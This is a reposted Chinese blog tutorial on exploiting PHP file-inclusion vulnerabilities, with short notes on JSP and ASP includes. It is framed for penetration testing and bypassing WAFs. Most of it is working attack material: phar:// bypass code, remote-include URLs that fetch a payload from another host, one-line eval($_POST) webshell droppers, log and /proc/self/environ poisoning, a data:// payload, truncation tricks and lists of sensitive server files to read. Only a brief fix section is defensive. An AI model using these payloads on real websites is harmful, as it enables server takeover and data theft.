zoukankan      html  css  js  c++  java
  • 【文件包含技巧拓展】————5、文件包含漏洞(绕过姿势)

    文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。

    特殊姿势

    利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。

    利用过程

    新建shell.php代码内容:

    <?php
    include 'phar://test.rar/test.txt';
    ?>

    新建test.txt里的内容:

    <?php
    phpinfo();
    ?>

    压缩test.txt文件,可以重命名压缩文件为zip,phar,rar等格式,之后访问shell.php文件后,会出现phpinfo内容。

    亲测有效

    在实验环境下,在test目录下新建shell.php,test.txt,并将test.txt打包成test.zip。

    shell.php内容如下:

    test.txt内容如下:

    访问shell.php:

    参考:http://bbs.pediy.com/thread-216191.htm

    php文件包含漏洞

    PHP中的文件包含分为本地包含与远程包含,导致文件包含的函数如下:

    • include()
    • include_once()
    • require()
    • require_once()
    • fopen()
    • readfile()
      ……

    本地包含漏洞(LFI)

    新建一个phpinfo.txt,然后新建一个shell.php,写入:

    <?php
        Include("phpinfo.txt");
    ?>
    

    访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

    远程包含漏洞

    前提:需要开启allow_url_fopen,默认关闭。
    新建php.txt:

    <?php
       echo "hello world";
    ?>

    新建index.php:

    <?php
        Include($_GET['page']);
    ?>

    访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

    文件包含利用

    读取敏感信息

    如:http://www.xxx.com/index.php?page=/etc/passwd
    Windows:

    c:oot.ini
    c:windowssystems32inetsrvMetaBase.xml
    c:windows
    epairsam
    c:windowsphp.ini             php配置文件
    c:windowsmy.ini               mysql配置文件
    

    LINUX:

    /etc/passwd
    /usr/local/app/apache2/conf/http.conf
    /usr/local/app/php5/lib/php.ini              PHP相关设置
    /etc/httpd/conf/http.conf                    apache配置文件
    /etc/my.cnf                                  mysql配置文件

    远程包含shell

    test.txt文件,可以保存在远程服务器上,内容如下:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?>
    

    如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php内容为:

    	
    <?php   eval($_POST[nmask]);?>

    本地包含配合文件上传

    如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
    上传一个图片木马a.jpg,内容为:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

    访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

    本地包含配合apache日志拿shell

      apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

    利用/proc/self/environ进行包含

    如:http://www.test.com/view.php?page=../../../../proc/self/environ
    这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。

    利用php协议进行包含

    • data:  php5.2以后版本
    • php://input  需要开启allow_url_include

    poc:

    http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

    截断包含

    有些开发者为了防止本地包含漏洞,会编写一下代码:

    <?php
        Include  $_GET['page'].".php"
    ?>

    (一)00截断包含
    新建1.jpg:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

     这样的话比如上传一个1.jpg图片码,则访问http://www.xxx.com/1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/1.jpg%00

    (二)使用长目录截断

    ././././././././././././././etc/passwd
    或者
    ////////////////////////////etc/passwd
    或者
    ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
    

    在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

    文件包含漏洞修复

    开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
    关闭allow_url_include函数,防止远程文件包含。

    jsp文件包含漏洞

    include

    <%@ include file="head.jsp"%>
    <%@ include file="body.jsp"%>
    <%@ include file="tail.jsp"%>
    

    jsp:include

    <jsp:include page="head.jsp"/>
    <jsp:include page="body.jsp"/>   
    <jsp:include page="tail.jsp”/>

    采用JSTL

    <c:import url="http://thief.one/1.jsp">
    

    说明

    (1)include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。
    (2)采用前两种方式,只能包含当前web应用的界面,不过c:import可以包含容器之外的内容。

    asp文件包含漏洞

    asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:

    <!--#include file="1.asp" -->
    

    转自:https://thief.one/2017/04/10/2/

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    react-echarts之折线图的显示
    Log4j2
    测试驱动开发Junit4
    JavaWeb基础: Cookie
    JavaWeb前端:Bootstrap基础
    JavaWeb前端:CSS
    JavaWeb前端:JQuery
    Android基础:Activity
    JavaWeb前端: JavaScript 简介
    JavaWeb前端:HTML5 简介
  • 原文地址:https://www.cnblogs.com/devi1/p/13486349.html
Copyright © 2011-2022 走看看